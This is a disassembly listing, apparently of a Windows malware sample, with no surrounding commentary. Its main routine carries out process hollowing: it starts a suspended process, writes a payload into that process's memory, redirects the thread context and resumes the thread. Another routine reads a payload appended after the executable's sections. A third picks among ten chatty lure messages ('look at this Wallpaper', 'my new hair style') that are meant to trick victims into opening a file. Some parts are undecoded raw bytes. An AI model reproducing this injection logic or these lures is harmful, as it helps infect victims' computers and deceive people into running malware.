		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		call	sub_40006750
		mov	eax, [ebp+var_10]
		mov	edx, [eax+38h]
		mov	eax, [ebp+var_10]
		mov	eax, [eax+54h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_40017B98
		inc	edi
		xor	ebx, ebx


loc_40017B29:				; CODE XREF: sub_40017A1C+17Aj
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		test	eax, eax
		jbe	short loc_40017B72
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+8]
		jbe	short loc_40017B44
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]


loc_40017B44:				; CODE XREF: sub_40017A1C+11Fj
		lea	edx, [ebx+ebx*4]
		mov	edx, [esi+edx*8+14h]
		add	edx, [ebp+var_8]
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		call	sub_40006750
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_10]
		mov	edx, [edx+38h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax
		jmp	short loc_40017B94
; ---------------------------------------------------------------------------


loc_40017B72:				; CODE XREF: sub_40017A1C+116j
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_40017B94
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_10]
		mov	edx, [edx+38h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax


loc_40017B94:				; CODE XREF: sub_40017A1C+154j
					; sub_40017A1C+15Ej
		inc	ebx
		dec	edi
		jnz	short loc_40017B29


loc_40017B98:				; CODE XREF: sub_40017A1C+108j
		lea	eax, [ebp+var_74]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_40003580
		lea	eax, [ebp+var_248]
		xor	ecx, ecx
		mov	edx, 0CCh
		call	sub_40003580
		cmp	[ebp+var_4], 0
		jz	short loc_40017C1D
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_250]
		lea	edx, [ebp+var_179]
		mov	ecx, 105h
		call	sub_40004AF4
		push	[ebp+var_250]
		push	offset dword_40017D80
		push	[ebp+var_4]
		lea	eax, [ebp+var_24C]
		mov	edx, 3
		call	sub_40004C08
		mov	eax, [ebp+var_24C]
		call	sub_40004D48
		push	eax
		push	0
		call	ds:dword_4001F38C	; CreateProcessA
		jmp	short loc_40017C5B
; ---------------------------------------------------------------------------


loc_40017C1D:				; CODE XREF: sub_40017A1C+1A1j
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_254]
		lea	edx, [ebp+var_179]
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp+var_254]
		call	sub_40004D48
		push	eax
		push	0
		call	ds:dword_4001F38C	; CreateProcessA


loc_40017C5B:				; CODE XREF: sub_40017A1C+1FFj
		call	sub_400179D4
		mov	[ebp+var_248], 10007h
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F388	; GetThreadContext
		lea	eax, [ebp+var_1C]
		push	eax
		push	4
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_1A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F384	; ReadProcessMemory
		push	40h
		push	3000h
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F380	; VirtualAllocEx
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F3A8	; WriteProcessMemory
		lea	eax, [ebp+var_1C]
		push	eax
		push	4
		mov	eax, [ebp+var_10]
		add	eax, 34h
		push	eax
		mov	eax, [ebp+var_1A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F3A8	; WriteProcessMemory
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_10]
		add	eax, [edx+28h]
		mov	[ebp+var_198], eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F37C	; SetThreadContext
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F378	; ResumeThread
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017D44


loc_40017D2D:				; CODE XREF: sub_40017A1C+326j
		call	sub_400179D4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_400062D8
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40017D3D:				; DATA XREF: sub_40017A1C+91o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017D2D
; ---------------------------------------------------------------------------


loc_40017D44:				; CODE XREF: sub_40017A1C+320j
					; DATA XREF: sub_40017A1C+30Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017D71


loc_40017D51:				; CODE XREF: sub_40017A1C+353j
		lea	eax, [ebp+var_254]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40017D6A:				; DATA XREF: sub_40017A1C+31o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017D51
; ---------------------------------------------------------------------------


loc_40017D71:				; CODE XREF: sub_40017A1C+34Dj
					; DATA XREF: sub_40017A1C+330o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40017A1C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_40017D80	dd 20h		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017D84	proc near		; CODE XREF: .itext:400199CCp

var_174		= byte ptr -174h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_14C		= byte ptr -14Ch
var_146		= word ptr -146h
var_54		= byte ptr -54h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40017F00
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		call	ds:dword_4001F3B4	; CreateFileA
		mov	esi, eax
		push	0
		push	0
		push	0
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	40h
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	[ebp+var_10], 40h
		jnz	loc_40017EE3
		push	0
		push	0
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	0F8h
		lea	eax, [ebp+var_14C]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	[ebp+var_10], 0F8h
		jnz	loc_40017EDA
		push	1
		push	0
		movzx	eax, [ebp+var_146]
		dec	eax
		add	eax, eax
		add	eax, eax
		add	eax, eax
		lea	eax, [eax+eax*4]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	28h
		lea	eax, [ebp+var_174]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		mov	eax, [ebp+var_160]
		add	eax, [ebp+var_164]
		mov	[ebp+var_14], eax
		push	0
		push	esi
		call	ds:dword_4001F3C0	; GetFileSize
		mov	edi, eax
		sub	edi, [ebp+var_14]
		test	edi, edi
		jbe	short loc_40017ED1
		push	0
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		mov	eax, edi
		call	sub_40002C20
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	edi, [ebp+var_10]
		jnz	short loc_40017EC8
		mov	bl, 1
		mov	eax, [ebp+var_C]
		mov	[eax], edi
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EC8:				; CODE XREF: sub_40017D84+132j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017ED1:				; CODE XREF: sub_40017D84+FEj
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EDA:				; CODE XREF: sub_40017D84+A6j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EE3:				; CODE XREF: sub_40017D84+71j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle


loc_40017EEA:				; CODE XREF: sub_40017D84+142j
					; sub_40017D84+14Bj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017F07


loc_40017EF7:				; CODE XREF: sub_40017D84+181j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40017F00:				; DATA XREF: sub_40017D84+20o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017EF7
; ---------------------------------------------------------------------------


loc_40017F07:				; CODE XREF: sub_40017D84+17Bj
					; DATA XREF: sub_40017D84+16Eo
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40017D84	endp


; =============== S U B	R O U T	I N E =======================================



sub_40017F10	proc near		; CODE XREF: .itext:4001941Ep
		push	ebx
		mov	ebx, eax
		call	sub_40003058
		mov	eax, 9
		call	sub_40003080
		mov	ds:dword_4001F6E0, eax
		mov	eax, ds:dword_4001F6E0
		cmp	eax, 9		; switch 10 cases
		ja	loc_40017FEE	; default
		jmp	ds:off_40017F3C[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40017F3C	dd offset loc_40017F64	; DATA XREF: sub_40017F10+25r
		dd offset loc_40017F72	; jump table for switch	statement
		dd offset loc_40017F80
		dd offset loc_40017F8E
		dd offset loc_40017F9C
		dd offset loc_40017FAA
		dd offset loc_40017FB8
		dd offset loc_40017FC6
		dd offset loc_40017FD4
		dd offset loc_40017FE2
; ---------------------------------------------------------------------------


loc_40017F64:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 0
		mov	edx, offset aHahaLookAtThis ; "haha, look at this Wallpaper :D its gre"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F72:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 1
		mov	edx, offset aLookAtThisNewG ; "Look at this new	game...	:D, Look at my"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F80:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 2
		mov	edx, offset aLookiMyNewHair ; "Looki ^^, my new	hair style what	you th"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F8E:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 3
		mov	edx, offset aWonnaSeeARealE ; "Wonna see a real	evil pic? :D mwahaha B"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F9C:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 4
		mov	edx, offset aNowThisIsWhatI ; "Now this	is what	i call Pure Ownage..."
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FAA:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 5
		mov	edx, offset aIFinallyGotANe ; "I finally got a new car,	what you think"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FB8:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 6
		mov	edx, offset aOoooTellMeIfYo ; "oooo Tell me if you like	my new compute"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FC6:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 7
		mov	edx, offset aTellMeIfThisLo ; "Tell me if this looks coo, i made my ow"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FD4:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 8
		mov	edx, offset aIWentToAPartyL ; "I went to a party last night, i got so "...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FE2:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 9
		mov	edx, offset aYouGotoSeeThis ; "You goto	see this pic, its brilliant ^_"...
		call	sub_400048D8


loc_40017FEE:				; CODE XREF: sub_40017F10+1Fj
		pop	ebx		; default
		retn
sub_40017F10	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 29h
aHahaLookAtThis	db 'haha, look at this Wallpaper :D its great',0
					; DATA XREF: sub_40017F10+56o
		align 4
		dd 0FFFFFFFFh, 38h
aLookAtThisNewG	db 'Look at this new game... :D, Look at my kills :P Ownage?',0
					; DATA XREF: sub_40017F10+64o
		align 4
		dd 0FFFFFFFFh, 2Bh
aLookiMyNewHair	db 'Looki ^^, my new hair style what you think?',0
					; DATA XREF: sub_40017F10+72o
		dd 0FFFFFFFFh, 40h
aWonnaSeeARealE	db 'Wonna see a real evil pic? :D mwahaha Bin-Ladin in a Blender ^_^',0
					; DATA XREF: sub_40017F10+80o
		align 4
		dd 0FFFFFFFFh, 26h
aNowThisIsWhatI	db 'Now this is what i call Pure Ownage...',0 ; DATA XREF: sub_40017F10+8Eo
		align 4
		dd 0FFFFFFFFh, 28h
aIFinallyGotANe	db 'I finally got a new car, what you think?',0
					; DATA XREF: sub_40017F10+9Co
		align 4
		dd 0FFFFFFFFh, 41h
aOoooTellMeIfYo	db 'oooo Tell me if you like my new computer :) taken me ages to make'
					; DATA XREF: sub_40017F10+AAo
		db 0
		align 4
		dd 0FFFFFFFFh, 5Ch
aTellMeIfThisLo	db 'Tell me if this looks coo, i made my own Skin for Windows :), All'
					; DATA XREF: sub_40017F10+B8o
		db ' blue and grey and stuff ^^',0
		align 10h
		dd 0FFFFFFFFh, 70h
aIWentToAPartyL	db 'I went to a party last night, i got so wasted, hehe, here is a pi'
					; DATA XREF: sub_40017F10+C6o
		db 'c of me trying to do that Cloth trick on tables',0
		align 4
		dd 0FFFFFFFFh, 28h
aYouGotoSeeThis	db 'You goto see this pic, its brilliant ^_^',0
					; DATA XREF: sub_40017F10+D4o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400182B0	proc near		; DATA XREF: .text:400183E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40018301
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_40023C68
		call	sub_40006204
		mov	eax, offset dword_40023C6C
		call	sub_40006204
		mov	eax, offset dword_40023C70
		call	sub_40006204
		mov	eax, offset dword_40023C74
		call	sub_40006204
		mov	eax, offset dword_40023C78
		call	sub_40004884
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40018308


loc_40018300:				; CODE XREF: sub_400182B0+56j
		retn
; ---------------------------------------------------------------------------


loc_40018301:				; DATA XREF: sub_400182B0+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40018300
; ---------------------------------------------------------------------------


loc_40018308:				; CODE XREF: sub_400182B0:loc_40018300j
					; DATA XREF: sub_400182B0+4Bo
		pop	ebp
		retn
sub_400182B0	endp

; ---------------------------------------------------------------------------
		align 4
dword_4001830C	dd 1Bh							; .bss:off_4001E7D0o
		dd offset dword_40018314
dword_40018314	dd 2 dup(0)			dd offset loc_40019000
		dd offset sub_40006350
		dd 2 dup(0)
		dd offset loc_40019098
		dd offset sub_40006758
		dd 0Eh dup(0)
		dd offset sub_400190AC
		dd offset sub_4000CC50
		dd offset loc_40019133+1
		dd offset sub_4000D598
		dd offset sub_40019144
		dd offset sub_40012E54
		dd 2 dup(0)
		dd offset loc_400191F0
		dd offset sub_40012F38
		dd offset sub_400191F8
		dd offset sub_40013ED4
		dd offset loc_4001928C
		dd offset sub_40013FA4
		dd offset loc_40019294
		dd offset sub_40014740
		dd 2 dup(0)
		dd offset byte_4001929C
		dd offset sub_40015C34
		dd 4 dup(0)
		dd offset loc_40019398
		dd offset sub_40016AB0
		dd 5 dup(0)
		dd offset sub_400182B0
_text		ends

; ---------------------------------------------------------------------------
; Section 2. (virtual address 00019000)
; Virtual size			: 00000BFC (   3068.)
; Section size in file		: 00000BFC (   3068.)
; Offset to raw	data for section: 00019000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_itext		segment	para public 'CODE' use32
		assume cs:_itext
		;org 40019000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing


loc_40019000:				; DATA XREF: .text:4001831Co
		sub	ds:dword_4001C5B8, 1
		jnb	locret_40019094
		call	sub_400029FC
		mov	byte_4001A00C, 2
		mov	ds:off_4001C014, offset	sub_40001168
		mov	ds:off_4001C018, offset	sub_40001178
		mov	ds:byte_4001C04E, 2
		mov	ds:off_4001C000, offset	sub_40005694
		call	sub_40003B64
		test	al, al
		jz	short loc_4001904C
		call	sub_40003B94


loc_4001904C:				; CODE XREF: .itext:40019045j
		call	sub_40003C58
		mov	ds:word_4001C054, 0D7B0h
		mov	ds:word_4001C220, 0D7B0h
		mov	ds:word_4001C3EC, 0D7B0h
		call	sub_400011D0	; GetCommandLineA
		mov	ds:dword_4001C040, eax
		call	sub_400012A0
		mov	ds:dword_4001C03C, eax
		call	sub_40006348	; GetACP
		mov	ds:dword_4001C5BC, eax
		call	sub_40001288	; GetCurrentThreadId
		mov	ds:dword_4001C034, eax

locret_40019094:			; CODE XREF: .itext:40019007j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40019098:				; DATA XREF: .text:4001832Co
		sub	ds:dword_4001E800, 1
		jnb	short locret_400190A8
		xor	eax, eax
		mov	ds:dword_4001E804, eax

locret_400190A8:			; CODE XREF: .itext:4001909Fj
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400190AC	proc near		; DATA XREF: .text:4001836Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4001911E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001E918, 1
		jnb	short loc_40019110
		mov	eax, offset dword_4000C980
		call	sub_40004624
		mov	eax, offset dword_4000CA6C
		call	sub_4000464C
		cmp	ds:byte_4001E7F5, 0
		jz	short loc_400190F2
		mov	eax, offset off_4001A84C
		mov	edx, offset loc_40019130
		call	sub_400048D8


loc_400190F2:				; CODE XREF: sub_400190AC+35j
		call	sub_4000B72C
		mov	eax, offset sub_4000C230
		call	sub_400060A4
		call	sub_4000B830
		call	sub_4000C4D8
		call	sub_4000BE64


loc_40019110:				; CODE XREF: sub_400190AC+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019125


loc_4001911D:				; CODE XREF: sub_400190AC+77j
		retn
; ---------------------------------------------------------------------------


loc_4001911E:				; DATA XREF: sub_400190AC+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001911D
; ---------------------------------------------------------------------------


loc_40019125:				; CODE XREF: sub_400190AC:loc_4001911Dj
					; DATA XREF: sub_400190AC+6Co
		pop	ebp
		retn
sub_400190AC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
; ---------------------------------------------------------------------------


loc_40019130:				; DATA XREF: sub_400190AC+3Co
		xor	[eax+0], bh


loc_40019133:				; DATA XREF: .text:40018374o
		add	[ebx+1F2802Dh],	al
		inc	eax
		add	[ebx+5], esi
		call	sub_4000D28C
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40019144	proc near		; DATA XREF: .text:4001837Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_400191E5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001F2A4, 1
		jnb	short loc_400191D7
		mov	eax, offset dword_4001F284
		call	sub_40012AC4
		mov	eax, offset sub_4000E0EC
		mov	ds:off_4001F294, eax
		mov	eax, offset sub_4000DC90
		mov	ds:off_4001F298, eax
		mov	edx, offset sub_4000DBA0
		mov	ds:off_4001F29C, edx
		mov	ds:off_4001F2A0, eax
		mov	eax, offset sub_4000E3EC
		mov	edx, off_4001AFD0
		mov	[edx], eax
		mov	eax, offset sub_400127B8
		mov	edx, off_4001AEE4
		mov	[edx], eax
		mov	eax, offset sub_4000E700
		mov	edx, off_4001B018
		mov	[edx], eax
		mov	eax, offset sub_400116DC
		mov	edx, off_4001B0B4
		mov	[edx], eax
		mov	eax, offset sub_40011DFC
		mov	edx, off_4001B024
		mov	[edx], eax
		push	offset dword_4001F2AC
		call	sub_400065E0	; InitializeCriticalSection


loc_400191D7:				; CODE XREF: sub_40019144+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400191EC


loc_400191E4:				; CODE XREF: sub_40019144+A6j
		retn
; ---------------------------------------------------------------------------


loc_400191E5:				; DATA XREF: sub_40019144+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400191E4
; ---------------------------------------------------------------------------


loc_400191EC:				; CODE XREF: sub_40019144:loc_400191E4j
					; DATA XREF: sub_40019144+9Bo
		pop	ebp
		retn
sub_40019144	endp

; ---------------------------------------------------------------------------
		align 10h


loc_400191F0:				; DATA XREF: .text:4001838Co
		sub	ds:dword_4001F2C4, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400191F8	proc near		; DATA XREF: .text:40018394o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40019281
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001F2D0, 1
		jnb	short loc_40019273
		call	sub_40013E14
		mov	eax, offset sub_40013ECC
		call	sub_40006094
		mov	dl, 1
		mov	eax, ds:off_40007908
		call	sub_4000C69C
		mov	edx, eax
		test	edx, edx
		jz	short loc_40019236
		sub	edx, 0FFFFFFD4h


loc_40019236:				; CODE XREF: sub_400191F8+39j
		mov	eax, offset dword_4001F2C8
		call	sub_4000621C
		mov	dl, 1
		mov	eax, ds:off_40013214
		call	sub_400133D4
		mov	ds:dword_4001F2D8, eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F2D4, eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F2E0, eax


loc_40019273:				; CODE XREF: sub_400191F8+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019288


loc_40019280:				; CODE XREF: sub_400191F8+8Ej
		retn
; ---------------------------------------------------------------------------


loc_40019281:				; DATA XREF: sub_400191F8+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40019280
; ---------------------------------------------------------------------------


loc_40019288:				; CODE XREF: sub_400191F8:loc_40019280j
					; DATA XREF: sub_400191F8+83o
		pop	ebp
		retn
sub_400191F8	endp

; ---------------------------------------------------------------------------
		align 4


loc_4001928C:				; DATA XREF: .text:4001839Co
		sub	ds:dword_4001F2FC, 1
		retn
; ---------------------------------------------------------------------------


loc_40019294:				; DATA XREF: .text:400183A4o
		sub	ds:dword_4001F300, 1
		retn
; ---------------------------------------------------------------------------
byte_4001929C	db 83h,	2Dh		; DATA XREF: .text:400183B4o
		dd offset dword_4001F308
		dw 0F01h
		db 83h,	0EDh, 0
		align 4
		dd 0C632E800h
		db 2 dup(0FFh),	68h
		dd offset dword_4001F320
		db 0E8h
		dd 0FFFED328h
		db 68h
		dd offset dword_4001F338
		db 0E8h, 1Eh, 0D3h
		dd 76AFFFEh, 0FED3E7E8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F310[ebx]
; ---------------------------------------------------------------------------
		dw 56Ah
		dd 0FED3DBE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F314[ebx]
; ---------------------------------------------------------------------------
		dw 0D6Ah
		dd 0FED3CFE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F318[ebx]
; ---------------------------------------------------------------------------
		dw 68h
		dd 6A00007Fh, 0D43EE800h
		db 0FEh, 0FFh, 0A3h
		dd offset dword_4001F31C
		db 0E8h
		dd 0FFFFC660h, 30B966h
		db 0B2h, 1, 0A1h
		dd offset off_400147BC
		db 0E8h
		dd 0FFFFB584h
		db 0A3h
		dd offset dword_4001F350
		db 66h,	0B9h, 10h
		dd 0A101B200h
		dd offset off_400147BC
		dd 0FFB56FE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F354[ebx]
; ---------------------------------------------------------------------------
		dw 0B966h
		dd 1B20010h
		db 0A1h
		dd offset off_40014824
		db 0E8h, 5Ah, 0B5h
		db 2 dup(0FFh),	0A3h
		dd offset dword_4001F358
		db 0B2h
		db 1, 0A1h
		dd offset off_40015ADC
		dw 0F1E8h
; ---------------------------------------------------------------------------
		mov	edi, 0F360A3FFh
		add	[eax-4Eh], eax
		add	ds:off_400130A4[ecx], esp
		call	sub_4001394C
		mov	dword_4001AD44,	eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F35C, eax
		mov	ecx, offset sub_40014D6C
		mov	edx, offset sub_40014D7C
		mov	eax, ds:off_40014788
		call	sub_400135EC
		mov	ecx, offset loc_40014F40
		mov	edx, offset loc_40014F50
		mov	eax, ds:off_400147A0
		call	sub_400135EC
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40019398:				; DATA XREF: .text:400183CCo
		sub	ds:dword_4001F364, 1
		jnb	short locret_400193EC
		call	sub_4001607C
		mov	eax, offset sub_400166E8
		mov	edx, off_4001B02C
		mov	[edx], eax
		mov	eax, off_4001AEF8
		mov	dword ptr [eax], offset	sub_40016958
		mov	eax, offset sub_40016180
		mov	edx, off_4001B054
		mov	[edx], eax
		mov	eax, off_4001AED4
		cmp	byte ptr [eax],	0
		jnz	short locret_400193EC
		mov	eax, off_4001AFB8
		mov	eax, [eax]
		mov	ds:dword_4001F370, eax
		mov	eax, off_4001AFB8
		mov	dword ptr [eax], offset	sub_40016A34

locret_400193EC:			; CODE XREF: .itext:4001939Fj
					; .itext:400193D3j
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_400193F8:				; CODE XREF: .itext:400193FDj
		push	0
		push	0
		dec	ecx
		jnz	short loc_400193F8
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_4001830C
		call	sub_40006474
		xor	eax, eax
		push	ebp
		push	offset loc_40019AD3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp-18h]
		call	sub_40017F10
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
